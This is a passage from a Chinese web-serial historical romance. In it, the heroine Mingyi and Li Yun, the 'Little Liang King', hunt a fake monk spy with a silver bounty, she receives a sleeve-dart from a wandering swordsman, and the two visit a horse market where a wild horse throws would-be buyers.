明宜道:“我看壁画时发现昙迦法师可能是假冒的,便佯装腹痛,想让王爷带我们先离开,哪知没能走成,还差点着了他们的道。幸而王爷天生神力,徒手将石门撞开。” 白芷深以为然点点头:“是啊,我与楚飞一起,也未能将那石门撼动半分,没想到王爷一己之力便能撞开,不愧是以一敌百的小凉王,跟传闻中一样厉害。” 明宜勾了勾唇,心道,那是你没瞧见小凉王先前在石室内,怪疾发作没法动弹的样子。 当然,她其实也没亲眼瞧见,毕竟伸手不见五指。 腹诽归腹诽,明宜却不知自己眼下是该哭还是该笑。 李赟那怪疾只怕是小凉王唯一的弱点,今日却被自己撞见。偏偏,又因为自己的“妇人之仁”,让那飞鹰首领逃走,而且情急之下,自己甚至脱口说出了李氏佛堂的事。 她忽然打了个激灵。 李赟不会杀了自己灭口吧? 毕竟刚刚他可是放着两三百条人命都可不顾的。 明宜懊恼地拍了拍额头,都怪最近因为李赟凡大事都与自己商量,让自己一时得意忘形,真以为自己是对方的军师了。 就这么胡思乱想了一路,又准备了一肚子为自己开脱求情的话,哪知回到刺史府,李赟根本没给她机会。对方一下车,就疾步回了官舍,然后便闭门不出。 明宜在自己房中,从窗户缝里观察对面情况,惴惴不安地从中午一直到月上柳梢。 只见李赟那边。 送膳食的被拒。 周子炤求见被拒。 唯独见了吴刺史和傍晚才赶回来的楚飞,但两人也是很快便从房中出来,一脸菜色,匆匆忙忙离去,应是领了骂,然后继续办差去了。 明宜忐忑了半天,这会儿倒冷静下来。 说李赟杀她灭口,那定是不可能,且不说以她对李赟的了解,对方并非是心胸狭窄之人,何况即使自己发现他弱点又如何,两人又没有利害关系,自己也不可能去害他。 而那假昙迦逃走之事,自己也并非全是“妇人之仁”,当时劝说他的话,确实是为大局着想。 也是为小凉王个人着想。 要镇守一方,抵御狄患,除了武功之外,也绝不能失了民心。 今日小凉王为救无辜信徒,让北狄细作逃走,待这些被救的沙洲大族子弟反应过来,定会对小凉王感激不尽。 想通这些,她也便放下心来。 不过自己也不好什么都不做,想起对方一直没用膳,她让人去厨房热了几样餐食。 与此同时,坐在屋中榻上的小凉王,手中正拿着千佛洞僧人和工匠名册在看,只是看着看着便走了神。 脑中不由自主浮上今日在那禅室发生的事。 他这怪疾除了父母,从来没有第三人知道,而且这些年也再未发作过——当然,没发作的原因乃是因为自己从未置身狭小暗室。 然而,今日却叫明宜撞见自己惊惧狼狈不堪一击的模样,这恼羞之感,除了化为愤怒,他也不知该如何发泄。 越想便越觉得烦躁,干脆阖上册子,闭上眼睛,重重躺在榻上。 却不想,在暗室中因为怪疾发作而忽略的细节,此时忽然清晰无比地浮上脑海。 女子带着馨香的温软身体,轻声细语的安抚,以及那双游走在自己身上的手。 他当然清楚那是在寻找他腰间的火镰。 可那碰触再真切不过,此时此刻一清二楚地在脑中和身体重现。 一股热意从身体蔓延开来,直直往下腹冲去。 他素来不近女色,不是没有本能,而是他见过太多人因为放纵欲望最终不堪一击。 这世上能让人沉迷的事物太多,美食美景,财富权势,美色自然也在其中。 而他但凡表现出对任何人和事兴味盎然,那便像是留下把柄给伺机而动的人。多年前,他曾对音律颇有兴趣,无意间让人得知后,府中便被各路人马送来了一波又一波伶人胡姬。 此后他便不再放任自己沉迷任何人与事,至于美人,再倾国倾城风情万种又如何? 他是小凉王,卧榻之侧,岂能容他人酣睡? 久而久之,也便习惯了压抑克制。 但此时此刻,身体那股热浪,如同洪水猛兽一般,顷刻间便将他整个人吞没,再也无法像从前那样,轻而易举压制下去,甚至脑子也渐渐变得混沌。 他只觉得自己似是在欲海中随波翻滚,刚冒出头缓过一口气,又被下个浪头裹挟着沉沦。 就在他沉沉浮浮,不知今夕何夕时。 忽然一阵敲门声响起,伴随着一道女人清灵的声音传进来。 “阿兄!你在忙么?” 这声音让李赟蓦地从热潮中惊醒。 他像是被吓到一样,猛然睁开双眼,然后便大口大口喘着气。 外头的明宜,见里面没有回应,不由得秀眉微颦,可她确定李赟还在房中,这个时辰也远不到歇息的时候。 想了想,便又再次敲了敲门:“阿兄,你在么?” 这一回,寂静的屋内终于有了回应:“在的,有事?” 是李赟一贯冷冽低沉的声音,只是似乎比平日又多了几分粘稠的暗哑。 明宜以为对方正在打盹,被自己吵醒,忙道:“我听说你回来后一直没用膳,便让厨房热了点吃食,给你送来。” 里头又是沉默良久,以至于明宜都怀疑对方是不是因为生自己气,不愿搭理自己。 正要识相离开时,忽然又听到男人低沉的声音传来:“嗯,进来吧。” 明宜暗暗舒了口气,推门而入。 李赟正坐在罗汉榻上,身上穿的不是白日那身青灰色圆领袍,而是一件玄色袍子,手中正拿着一卷册子再看。 明宜走近,他也没有抬头。 明宜料不准他是否还在生气,将手中食盘轻轻放在小几上,微微弯身笑盈盈朝人瞧去。 这一瞧可不得了。 只见李赟满脸不正常的潮红,一直往脖子蔓延下去。 明宜心下一怔,忙凑上前问道:“阿兄,你不舒服么?脸怎的这么红?” 李赟只觉得额角猛然一跳,下意识冷声回道:“我没事。” 然后轻飘飘掀起眼帘,却正好对上明宜那双黑沉沉的杏眸。 原本身体已经快要散去的热潮,忽的又不受控制地往下涌。他随手放下书卷,语气不耐道:“没什么事,你就出去吧。” 明宜却没有马上离开,而是继续低头去看他,只是还未看出个究竟,对方忽然恼羞成怒般轻斥道:“我让你出去,没听到么?” 这回却是真真叫明宜吓了一跳。 虽然传闻小凉王能止小儿夜啼,自己也亲眼见过他的威严怒气,但这一路来,他待自己一向礼貌客气,这是她第一次被如此疾言怒色对待。 她一时愣在原地,脑子飞快转动,但思来想去,也实在不觉得自己今日之为,会让他如此动怒。 她抿抿唇,试探问道:“阿兄是怪我今日让那假昙迦逃走了么?” 因怕再触到对方逆鳞,她的语气极为轻柔,又因隔得近,李赟只觉对方如口吐兰香一般。 他几乎是本能地往榻内挪了挪,意识到刚刚自己失控的语气,心中不免有些懊恼,轻咳一声道:“你做得没错,我未曾怪你。”顿了下,又欲盖弥彰补充一句,“我是恼吴刺史和楚飞办事不利,不仅让人逃走了几个,眼下也还没分清哪些是飞鹰,哪些是正常僧人和工匠。” 明宜闻言总算是舒了口气,不由轻笑道:“飞鹰潜伏在千佛洞这么久,一直未被发现,甚至还借由昙迦大师名号蛊惑人心,哪里能是半天就能查清楚的。阿兄不用急,不管怎样,他们已不能再作乱。” 李赟点点头:“你说得没错。” 明宜瞥到小几上那册子,“这是千佛洞名册么?” “嗯。” 明宜自顾自地在他对面坐下:“不如阿兄你吃饭,我来帮你看名册。” 李赟不动声色看了眼对面拿起名册垂眸查阅的女子,也实在找不出由头让对方离开。 实际上他也并不想让人离开。 好在身子的异状这会儿终于勉强缓下大半,他又变回平日那个从容不迫的小凉王,拿起筷子不紧不慢开吃。 屋内一时除了明宜手中书册翻动,与李赟咀嚼食物的声音,再无其他动静。 李赟不动声色凝望着对面颔首垂眸的女子,等着她问起自己在石室内的怪疾。 然而明宜却从头到尾,对此只字不提,只专心翻阅名册,偶尔看到不寻常的地方,与他商讨一句。 “阿兄两年前来沙洲时,见到的还是真的昙迦大师,那飞鹰潜伏在千佛洞,也就是这两年的事。好在僧人工匠都有登记在册,只用查这两年新来的便可。” 李赟点头:“嗯。” 明宜又蹙了蹙眉:“当然,两年前或许也已有零星细作潜入,好提前布局。” “所以一百多僧人工匠,每个人都得调查清楚。” 明宜翻完册子阖上,抬头看向他,见他脸上潮红已褪去,心中提着的那口气也彻底放下来,柔声道:“总归,只要把名册上所有人都抓回来,飞鹰风险便能彻底解除。” 李赟放下筷子,眉头微微蹙起:“人已经抓得差不多,只剩假昙迦和那个叫明心的僧人还未寻到踪迹。” “昙迦用了易容术,要找到人确实没那么容易。”明宜顿了顿,又轻笑道,“不过他们既是突涅小可汗的人,那就与鲁刺儿没关系,也算是不幸中的万幸。” 李赟颇以为然点头,默了片刻,又道:“但到底都是北狄人,所谓兄弟阋于墙,外御其侮,若是两方联手,只怕是大麻烦。” 明宜知道他说得有理,只道:“反正这是沙洲,除了几千河西军还有阿兄在此坐镇,我相信他们几人翻不出什么大风浪。” 李赟扯了下嘴角,不置可否。 明宜见他吃完,外头也掌了灯,想来时日不早,便起身道:“不管怎样,阿兄也切莫轻易动怒,以免伤了身子。” 李赟知她说得是先前她进来时,自己那副模样——满脸通红,语气不善,确实是个发怒的样子。 让她误会自己是发怒,而不是其他,倒也不算坏事。 思及此,他展眉轻笑:“让弟妹担心了,实在是吴刺史和楚飞跟两头蠢驴一样,若都像弟妹这般聪慧,我也不会动怒。” “阿兄谬赞了。”明宜轻笑,“那阿兄早些歇息,我就不叨扰了。” 李赟施施然起身,送到她门口,及至目送她进了房门,这才又踅身回屋。 与此同时,回到房内的明宜,却是重重吐了口浊气。 “娘子,你怎么了?”白芷见状问道。 明宜摇摇头,面色讪讪道:“没事,今日你也受了惊吓,咱们早些休息。” “是啊,想起来都差点吓死。”白芷忍不住拍拍胸口,“一下被关在伸手不见五指的石室,又有浓烟窜进来,我还以为自己小命要交代在千佛洞了呢。” 明宜笑了笑没说话,只自顾自地走到床上坐下,脑子里却是浮上李赟方才满脸通红的模样。 她嘴上说让他别动怒,先前也觉得他是气红了脸,但眼下仔细一回想,却总觉得不太对。 且不说他这个身经百战的小凉王,能被气成这模样? 就说那满脸潮红,明显与正常的动怒有些不同,尤其是那双灰眸,一开始似乎还带着些涣散。 明宜毕竟不是未经世事的少女,忽然意识到什么似的,心中蓦地一震。 莫非是自己敲门时,撞上了对方在…… 小凉王正是年轻力壮之时,身边又没有女人,倒也正常。 也难怪半天才回应。 明宜懊恼地捂了捂脑袋,谢天谢地,自己当时没反应过来,只以为他是在生气。 “娘子,你怎么了?” 白芷难得见她又是蹙眉,又是抱头,嘴里还呜呼哀哉,不免觉得奇怪。 明宜赶紧摆手:“没事没事。” 老天爷!第一次希望自己这脑瓜儿能反应迟钝些—— 作者有话说:弟妹:我不想知道!!!!【..top】 50-60 第51章 第 50 章 弟妹随我一起,我何时回…… 翌日醒来, 穿戴洗漱后,趁着早膳还未送来,明宜准备先去院中活动活动身子, 刚打开门, 便听到外院有刀剑铮铮声传来。 走到廊檐下一瞧,果然见是李赟正在练功。 小凉王不仅在庶务上勤勉, 于练武一事, 也从不懈怠,日日闻鸡起舞。 但今日, 对方这练法, 却明显与往常不同。平日多是他自己一人练, 眼下却是和楚飞在对练, 而且不是做做样子,只见他下手果决, 刀刀直逼命门。 楚飞开始还能应付, 但很快就被打得只有招架的份,紧接着便乱了阵脚,丢了剑抱头鼠窜, 跑进了院中, 还不忘连连怪叫: “王爷, 属下做错了什么事,您罚我就是,作何就直接要取我性命?我才二十出头,还没娶妻生子呢, 不想就这么不明不白地死了啊!” 那吴刺史本来是打算来报告公务,见小凉王在院中“大开杀戒”,顿时脚底抹油, 先溜为敬。 就在明宜也以为李赟是在发什么邪火,打算要先回屋暂避时,却见男人举着刀朗声道:“我杀你作何?我就是试试你的武功有无长进?” 楚飞躲在院中大树后,喘着粗气道:“王爷,您可别骗我,从前你试我武功,可没这么狠?今天天没亮,你就拉我起来,在刺史府追杀了我几圈。你不杀我,我也快累掉了半条命。” 李赟收刀入鞘,嗤了声道:“业精于勤荒于嬉,我看你最近就是疏于操练。” “谁能跟您比啊?”楚飞苦着脸道。 尤其是今早,也不知自家主子怎么回事,像是吃了什么让人兴奋的怪药一样,从天没亮练到现在,不仅不见疲惫,反倒越打越精神。 李赟当然也是大汗淋漓,不过确实是神清气爽。 昨晚做了一晚风流梦,醒来身体实在难受得很,练了这么久,终于才将难受发泄殆尽。 他没再继续,也是因为觉察明宜出来。 “弟妹,晨安!”他深吸了口气,转头看向廊檐下的女子,温文有礼拱手道。 明宜见他并不是在发怒,这才轻笑回礼道:“阿兄,早!”又瞧了眼躲在树后不敢出的楚飞,笑着随口道,“今日练功怎练得这么凶狠?” 李赟还未说话,楚飞便苦着脸像告状似的道:“二夫人,你来评评理,哪有让人练功,把人往死里练的?” 明宜轻笑道:“王爷也就是吓吓你,哪会当真对你下死手?” 李赟接着她的话道:“我是不会对你下死手,但出了门遇到敌人,人家可不会对你手下留情,明天开始,你每天练功多加一个时辰。” “啊!”楚飞哀嚎一声,叫苦不迭,“王爷,我还要抓那飞鹰呢,哪有那么多精力!” 明宜见他实在可怜,便附和道:“我瞧楚飞每日也没闲着,出门抓人也要用武功,加练是不是没必要?” 她本也只是随口一说。不想李赟却是点点头:“罢了,那就暂时不加练,先抓到人再说。” 楚飞如蒙大赦,忙向明宜作了一揖,捡起地上的刀,不等李赟反悔,丢了下一句“王爷,我去抓人了”一溜烟跑了。 明宜摇头失笑。 再抬头时,恰好对上李赟朝她看过来的双眸。 那张俊美的脸,此时布满汗水,在晨光下熠熠生辉,面颊因为练功而泛着生机勃勃的红,一双冷冽的灰眸,也因此显出几分温和。 明宜微微一怔,脑子里不知为何又浮上昨天傍晚见他的模样,好在这时周子炤打着哈欠出了门,见到院中两人,咦了一声:“三娘子你也被表兄练功吵醒了?” 李赟眉头微蹙,指了指天空:“日头都已这么高,也该起来了。” 周子炤不以为然地嘟囔:“昨天被吓了那一遭,也不让人多睡会儿压压惊?”说着又想到什么似的,嘿嘿一笑,“不过话说回来,这一路咱们还真是惊险重重,但只要有表兄在,都能化险为夷。” 李赟面无表情道:“你要是怕危险,我派人送你回凉州,或者回长安也行。” 周子炤随口道:“三娘子回我就回。” 明宜:“……” 不等她开口,李赟已经替她回道:“弟妹随我一起,我何时回她便何时回。” 明宜总觉得这话哪里不对,轻咳一声,正要说点什么,可话到嘴边,又没想到到底该说何。 周子炤闻言,朗声笑道:“那我也不回。” “行了,一起用早膳吧。” 周子炤嘿嘿笑道:“好嘞。” 明宜原本因为昨日之事,面对李赟还有些不自在,但有齐王殿下在旁,便坦然多了。 小厮来送餐食,三人直接便在院中石桌用膳。 明宜好奇问道:“那假昙迦有下落了么?” “尚无。”李赟摇头,“昨日虽然只匆匆交手,但我能感觉到那昙迦武功不过差强人意,倒是那个小僧明心身手深不可测,应是专门被突涅小可汗派来保护那假昙迦的。” “嗯,这妖僧能完全伪装成昙迦大师,还能作出那等水平的壁画,定是很有些本事,突涅小可汗派出顶尖高手护其左右,倒也不足为奇。不过他们也就剩两人,依我看,也别光指望宫门的兵卒去抓。不如发出悬赏令。重赏之下必有勇夫,沙洲这么多流民沙匪,只要赏金够多,定能让那两个北狄贼子无处遁逃。” “对啊!悬赏个千两黄金,不怕抓不到人。”周子炤点点头附和,说着重重啐了口,“亏我还一心想要朝拜昙迦大师,原来竟是个妖僧假冒的。” 李赟沉吟片刻:“弟妹说得没错,虽然那昙迦是易过容的,但明心确是本来模样,千佛洞最不缺画师,让他们把明心的模样画下来就行。” 明宜点点头:“沙洲除了敦煌城和各路驿站,还散落着一些村落部族,他们要返回北狄,定会经过这些地方补给。派人把悬赏令发到这些地方,便不怕摸不到他们踪迹。” 李赟默了片刻,冷不丁高声道:“吴刺史!” 在门口躲了半晌没敢进来的吴刺史,赶紧跑进来,唯唯诺诺拱手道:“臣在!” “侯夫人说的话,你可都听见了?” “回王爷,臣都听见了。” “那还不快去办?” 吴刺史犹疑道:“真要……悬赏千两黄金么?” “千两黄金是谁说的?” 吴刺史愣了下:“是齐王殿下。” “我让你照谁的话做?” “侯夫人。” 周子炤不干了:“不是,表兄,你这何意?” 李赟并不回答他的话,只问明宜:“弟妹觉得悬赏多少合适?” 明宜轻笑:“刺史府眼下账上只怕都没有千两黄金。” 吴刺史讪讪一笑。 明宜伸出一只手:“五百两就足以。” 吴刺史面露难色,支支吾吾:“五百两……只怕也……” “我是说白银。”明宜打断他,“一匹上好战马也不过三十两,五百两足够买几十匹战马,对沙洲流民来说,已是一个足以值得铤而走险的数字。” 吴刺史重重舒了口气,朝几人拱拱手:“臣这就去办。” 待人离开,周子炤轻咳一声:“我那个千两黄金,就是打个比方。” 李赟皮笑肉不笑扯了下嘴角:“用膳。” “哦。”周子炤立刻将头埋进粥碗。 明宜见状不由轻笑出声,只是一抬眼,恰好对上李赟深不可测的眸光。 她心中莫名一怔,也欲盖弥彰般将头埋进碗中。 早膳过后,李赟又去忙碌。 明宜则待在官舍无所事事,只撺掇着周子炤帮忙去打探外面情况。 刺史府办事效率颇高,一个上午,便已让画师画下数百张悬赏令,贴满全城,城外亦是派了兵卒去各路驿站村落发放。 城外情况尚不得知,城中却是很快因为这五百两的悬赏沸反盈天,许多流民豪侠甚至商客,都摩拳擦掌准备出城寻人。 连秦梦也去与她那几个残兵会合,准备大干一场。 他们倒不是为了五百两,而是想以此回报小凉王替他们寻找秦七郎之恩。 “都说重赏之下必有勇夫,没想到区区五百两,竟炸出这么多勇夫。”周子炤带话来时,忍不住感叹。 明宜失笑:“齐王殿下,这是沙洲,不是长安,别说区区五百两,就是区区五十两,买下一条人命也绰绰有余。” 齐王殿下难得体恤民生多艰,长叹一声:“是啊,在这边境之地,最不值钱的便是人命。”说着又弱弱问道,“三娘子,你想念长安么?我现在有点想了。” 明宜微微一怔,不答反问:“殿下是想回长安了么?” “想也不想。”周子炤摸摸头,“我在长安亲兄弟那么多,却没一个当真有兄弟之情,在河西,表兄却是将我当做亲弟弟。” 明宜道:“如今阿兄正是焦头烂额时,咱们别再给他添乱便好。” 周子炤脸上露出一丝难为情:“要说添乱也只有我添过,三娘子一直都是表兄的得力助手。” 明宜笑:“阿兄若真觉得殿下添乱,才不会带你来沙洲。” 周子炤顿时又眉开眼笑:“嗯,我争取也像三娘子一样,能助表兄一臂之力。” 说完,又继续去打探消息。 而李赟一直在月上柳梢,都未回官舍。 明宜想着那么多工匠僧人要审,确实够小凉王忙上两日。 她正百无聊赖着,窗外忽然传来一道压低的声音:“侯夫人,你现在方便么?” 确实来自负责扫院落的小厮。 明宜掀起一丝窗子问道:“你有何事?” 那小厮左右看了看,声音愈发细若蚊吟:“沙狼求见侯夫人,说有要事与夫人说,若是夫人方便,还请移步去角门,他在门外等着您。” 这会儿李赟不在,明宜也不用有什么顾忌,赶紧出门跟上小厮,踏着月色去了角门。 廊檐灯下,果然站着一个沙狼。 明宜让那小厮在门内帮忙看守,独自跨过门槛,轻笑道:“陆郎君总说不与公门打交道,我看这刺史府里,你的人也不少嘛。” 陆浪朝她拱手行了个礼,挑挑眉头道:“有些兄弟不想过朝不保夕的日子,便进了公门做事,大家选择不同,但感情依旧在,偶尔帮我传点消息,也算是行个方便。” 明宜转回正题:“你找我有何事?” 陆浪漫不经心道:“来跟侯夫人暂时道个别。” 明宜蹙眉:“你要去哪里?” 陆浪拿起手中一张悬赏令,笑道:“五百两呢,够我带着兄弟护送十几趟商队。这赚大钱的机会,我哪能不去试一试?” “你要去捉拿假昙迦?” 陆浪点头:“嗯,我这趟出城,不知要几天,也不知能否遇到那假和尚,遇到了又能不能抓到。或者会不会有去无回?” 明宜笑着打断他:“你可是沙狼,一个假和尚能奈你何?” “世事难料。”陆浪玩世不恭一笑,然后又像是想起什么似的,随口问,“侯夫人习过武吧?” 明宜笑说:“略学过一点皮毛,三脚猫功夫罢了。” 陆浪点头:“看得出来。” “喂!”明宜扮惯了大家闺秀,平时说话总要自谦几分,但被人顺着话,又不免有些不爽,只是想到对面是大宁武状元,又好笑地叹了口气,“好吧,你看得很准。” 陆浪也笑:“那不知侯夫人箭术如何?” 明宜道:“你猜?” 陆浪乃是游侠儿,自己又是唯一知道他身份的人,在他面前,明宜便也不再装模作样,言谈举止便很有几分活泼狡黠。 陆浪漫不经心一笑:“我猜不到。”说罢,从腰间抽出一根铜棍模样的小东西,“这是我偶然间得到的一样小玩意儿,我留着也没用,送给侯夫人防身好了。” 明宜目光落在他手中,睁大眼睛道:“这是袖箭?” “嗯。”陆浪道,“这玩意儿我一个大男人用着不合适,侯夫人用着倒是刚好。” 明宜只在书上看过这种暗器,还从未亲眼见过,好奇地接过来便开始研究。 陆浪忙抬手哎哎两声:“别乱对着!我可不想还没领到赏金,先折在侯夫人手中。” 明宜赶紧将箭头对上地面,笑盈盈道:“这倒是个好东西,但我也不好白白收你东西吧。” 陆浪道:“我也没准备平白送给侯夫人。” 明宜一噎。 陆浪笑了笑继续道:“我今日来是有桩事想拜托侯夫人。” 明宜稍稍正色:“何事?” 陆浪道:“当年我这条命乃是金吾卫的好兄弟宋琛所救,可惜此生再无法回长安报答。若我这趟有去无回,还请侯夫人来日回到长安,帮我与他道一声谢。”说着压低声音,“我这些年所赚财宝,都藏在城西我那宅院正中地底下,若我没回来,还请侯夫人取了,也帮忙带给我这兄弟。” 明宜微微一怔,继而又好笑道:“不就是去抓两个北狄细作么?你作何像是交代遗言似的。就算是临终嘱托,你那么多兄弟,作何要托付与我?” 陆浪笑:“一来我信得过侯夫人,二来只有侯夫人会回长安。” 明宜摆摆手:“这袖箭我收下了,你交代的这些,我就当没听见。”说罢,又好整以暇道,“陆浪,你当心些,人抓不抓得到不重要,自己的命最要紧,你的命可不值五百两。” “是么?”陆浪挑挑眉,“那侯夫人觉得在下的命值多少?” 明宜上下打量他一眼,狡黠一笑,故意道:“五百零一两吧。” 说罢便握着袖箭,提起裙摆转身跑进角门内,又朝他挥挥手:“你好好保重,真要道别,等到我回长安时,咱们再正式道别。” 陆浪不置可否,只勾起嘴角,笑望着她将角门关上。 因得了一样新奇的好玩意儿,明宜几乎是蹦蹦跳跳回的官舍。 哪知一进院内,便听到一道冷冽的声音在夜色中响起:“弟妹,这么晚,你去了哪里?” 明宜吓了一跳,赶紧将袖箭藏入袖中,走上前朝李赟行了礼,下意识说了个谎:“我在府中随便走走。” 也不知为何,其实只是去私下见了陆浪,却莫名有些心虚。 她想大概是因为李赟与陆浪两看相厌的缘故吧。 李赟却是瞥见她嘴角故意压下去的笑容,可见在见到自己之前,她心情相当不错。 一个人在府中闲逛,能遇到甚么趣事? 明宜只想赶紧回去研究袖箭,也便不与他多说:“阿兄忙了一天,也该累了,早点歇息吧,我就不叨扰了。” 说着敷衍地与他揖了一礼,飞快跑回了房中。 李赟在夜色中打了个响指,一道黑影不知从何处窜出来,低声道:“王爷有何吩咐?” “去查查刚刚侯夫人去了哪里?” 暗卫应了一声喏,很快去而复返,与犹站在院中的男人复命。 “回王爷,刚刚侯夫人去角门见了沙狼。” 李赟当即脸色沉下来,问道:“他们说了什么?” 暗卫摇头:“跟着的人没敢隔太近,听不清楚,不过沙狼好像送了侯夫人一样东西。” “什么东西?” “看不清楚,好像一个长条的小玩意儿。” 长条玩意儿? 簪子?箫笛? “她收下了?” “嗯。” 李赟脸色愈发黑沉,迈开长腿,大步走到明宜门口,抬手便要敲门。 但在手落下前,忽然又凝滞在半空,然后深吸了一口气,最终悻悻然踅身,冷沉着脸回了自己房中—— 作者有话说:我设定的鲁刺儿是男二,但文章过半了,他就打了个酱油。 小凉王:甚好。 PS这两天翻以前记下的梗,忽然看到一个现言的,就是那种纯感情戏的,好像来了点感觉,我看能不能写得出来~ 如果能写出来,我就开文 第52章 第 51 章 他……可能也是想借我之…… 明宜对陆浪送的这袖箭可谓是爱不释手, 研究了大半夜才睡。 翌日醒来,已是日上三竿。 “娘子,你可算醒了, 王爷那边都派人来请您三回一起去用早膳了。” 明宜惊讶:“你怎么不叫我?” 白芷道:“我见你睡得很沉, 想着王爷也就是让你去用早膳,没说有别的事, 便没叫你。” 明宜想想也是, 如果李赟找她有事,定会让人直接说, 而不是只叫她去用早膳。 “什么时辰了?”她一边下床一边随口问。 “巳时快过半了。” 竟然这么晚了? 想来李赟已经去忙庶务。 哪知洗漱更衣, 又有小厮过来在门口问道:“侯夫人起来了么?” “起来了。”明宜赶紧回道。 那小厮是似松口气:“王爷等着您一起去用早膳呢。” 明宜闻言不由得一惊。 李赟平日比他们起得早, 因而一起用早膳的时候不多, 今日怎么这会儿还在等自己,难不成是真有什么事? 她不敢耽搁, 赶紧出门穿过天井, 去了对面厢房李赟的房间。 房门大敞着,男人就坐在屋中食桌后。 桌上摆放着几样粥汤小菜。 明宜赶紧进门好整以暇行了个礼,道:“阿兄, 你是找我有什么要紧事么?怎的不让人直接说?也好叫白芷叫醒我。” 李赟抬眸, 自下而上望向她, 那张素来冷峻的脸,浮上一抹笑意,伸伸手道:“弟妹不用急,我没什么要事, 只是上午无公事在身,便不想一个人用膳。” 明宜愣了下,随口问:“五殿下呢?” 李赟:“一早便让人带他看热闹去了。” 明宜讪讪一笑:“那阿兄也不用专门等我来, 这都巳时了。” 李赟:“无妨,我不饿。” “哦。”明宜在他对面坐下。 桌上汤粥应该重新加热过,还冒着热气。 李赟拿起勺子,慢条斯理搅动了下面前的黄米粥,似是随口问道:“弟妹今日怎起得这么晚?是昨晚睡太迟了么?” 明宜点头:“是啊。” 李赟:“弟妹平日似乎没有晚睡的习惯,不知昨日晚睡是何故?身子不舒服?” 明宜端着汤碗的手微微一僵,这怎么还追根究底了? 她笑了笑道:“那倒没有,就是看了个话本子看入迷了。” “什么话本子这般有趣?回头让我也来瞧一眼。” 明宜不由得抬眸看了眼他:“阿兄也看话本子?” “嗯,偶尔也看。” “那我回头给你。” “好。” 明宜喝了口汤,吃了两口胡饼,又听对方似轻描淡写开口问:“这两日为了这五百两悬赏令,沙洲流民可谓是倾巢而出。” 明宜点头:“听说了,连沙狼都出了城。” 李赟:“弟妹怎知?你昨日见过沙狼了?” 他问了,明宜便也没隐瞒,这刺史府到处都是凉王暗探,自己一举一动,只怕对方都知道。 “嗯,昨日傍晚他来找过我,跟我说了他出城的事。” 李赟似笑非笑哼了声:“他出城还专门来跟弟妹说一声。” 明宜总觉得这话听着不对劲。 自己和陆浪见面,虽然免不了被人发现,但以对方身手,定能确保没人能听到两人说话,才会无所顾忌说出自己身份。 但其实,除了陆浪的身份,两人所说之说,也确实没什么不可告人。 她轻咳一声,笑道:“他……可能也是想借我之口,让阿兄知道他沙狼也去抓那假昙迦了。” 李赟一时噎住,虽然知道她这话纯属无稽之谈,可偏偏听起来又合情合理。 他默了片刻又问:“那除了这个,他还有什么话,是想借由弟妹之口告诉我的么?” 明宜摇头:“没有了。” “他来找你就只说了这个?” 怎么没完没了? 明宜神色复杂地瞥了对面男人一眼:“嗯,就说了这个。” 其他的话事关陆浪身份,她定然也不能出卖对方。 除此便是对方送自己袖箭。 这倒是……也没什么不能说,想着万一以后在李赟面前用上,于是她撩起袖口,将袖箭亮给他:“对了,他送了我一只袖箭,说他自己用不上,我一个女子正好合适,我觉得挺实用,便收下了。” 李赟本以为她会故意隐瞒沙狼送她东西之事,没想到她就这么坦坦然然告诉了自己。 倒是显得自己这一夜辗转反侧,有些小鸡肚肠了。 他昨晚听暗卫说是什么细长之物,他还以为是发簪或笛箫之类,想着她竟然收下,不由得警铃大作。 眼下看到是袖箭,莫名松了口气,但旋即又不悦地皱了皱眉头:“你想要这种东西,问我来要便好,何必从外人手里拿?” 明宜一脸无辜地问道:“阿兄也有么?” 李赟再次被噎了下:“你若想要,我自是能为你寻来。” 明宜笑说:“阿兄庶务繁忙,既然有现成的,何必劳烦阿兄专门去替我寻。” 李赟彻底没了话说,也知对方惯来滴水不漏,自己再揪着不放,便实在是有些奇怪了。 等到一碗粥吃完,他又才开口:“对了,今天城西马市开集,许多西域马商会在此交易,我们用完膳去看看。” “啊?好啊。” * 河西除了大马营之外,各州也都有官马场,只是饲养战马不多,若是不够供给,军营便会从马商中购买。 而马商手中的马,皆由西域而来,如今敦煌三大马商被灭门,意味着原本的购买渠道被斩断,得重新寻找门路。 而这门路,自然就是去马市打探。 今天正是马市交易日,各路胡商牵着自己的马匹来此兜售,偌大的集市熙熙攘攘,好不热闹。 吴刺史带着人去询问情况,简单来说,就是去问各马商,能收购多少战马来敦煌。 不过情况显然并不乐观,这些零售商人,一次大多只能从西域买得几匹运过来。 不过李赟似乎并不着急,只让他们继续打探,自己则带着明宜优哉游哉闲逛。 明宜初次逛马市,难免好奇,虽然这里的马,与大马营不能同日而语,却是高矮胖瘦各个品种花色都有,马商们也是装扮不同口音各异,想来都是来自不同国家。 正逛着,忽然被一阵嘈杂吸引。 循声看去,却见是一群人,正围着一匹黄色带白斑的马儿。 这马儿并不高大,甚至还有点矮,却十分健硕,四肢尤为粗壮,它身边戴着一顶圆帽儿的胡商,正操着生硬的汉话得意介绍。 明宜竖起耳朵去听,原来这马并非饲养,而是一匹胡野马,这胡野马野性难驯,但速度极快,耐力极强,能连续奔袭四五天,还能一连几天不喝水,且嗅觉灵敏,能探测出几十里外的水源,尤其适合在沙漠中行走。 明宜听说过这种胡野马,本是最适合长途作战的军马,却因野性难驯,很难大规模饲养,大马营马场也只培育出少量与胡野马杂交的战马。 眼下这匹显然被那胡商收服,正顶着一张短胖脸吃着马料,时不时对着围观的客人喷两个响鼻。 那马商介绍完,伸出一只手:“这匹胡野马一口价五十两。” 五十两足以买到一匹顶尖战马,但这野胡马显然比顶尖战马更稀有,因而想买马的顾客并不觉得昂贵。 围观者中不少锦衣贵客,他话音落,很快便有人争相着要买下。 明宜原本以为会竞价,却不料那胡商只摸了摸胡子,施施然道:“大家莫急,想要将我这匹野胡马带回去,钱不是问题,问题是看谁能够驯服它,让它跟你走。” 沙洲之地民风彪悍,客人们哪会被这话吓退,听了他的话,各个摩拳擦掌便要尝试。 胡商也不急,只将马儿牵到马市一角空旷处,那里有一块巨大的拴马石,专门用来栓疯马烈马。 所谓马不可貌相,别看这马儿矮矮壮壮,脸短眼圆,颇有几分憨态可掬,却是一点不负胡野马的威名。 第一个客人,刚抓住马鞍,还未踩上马镫,那马儿便从鼻子里怒喷一口气,后踢一蹬,屁股一扭,直接将人撞出了快两丈远。 人群中顿时响起轻呼声。 但越是难驯的马,越能激发人的斗志。 又有几人不信邪地去尝试,其中有两三个,一看就是身手不错弓马娴熟之人,可别说是驯服这马,就连成功坐上马背的,都没有一个,甚至有两兄弟合力,也未能成功。 而这马儿似乎是在逗着这些人玩儿一样,来一个踢一个,来两个踢一双,动作之娴熟,显然是没少干这事。 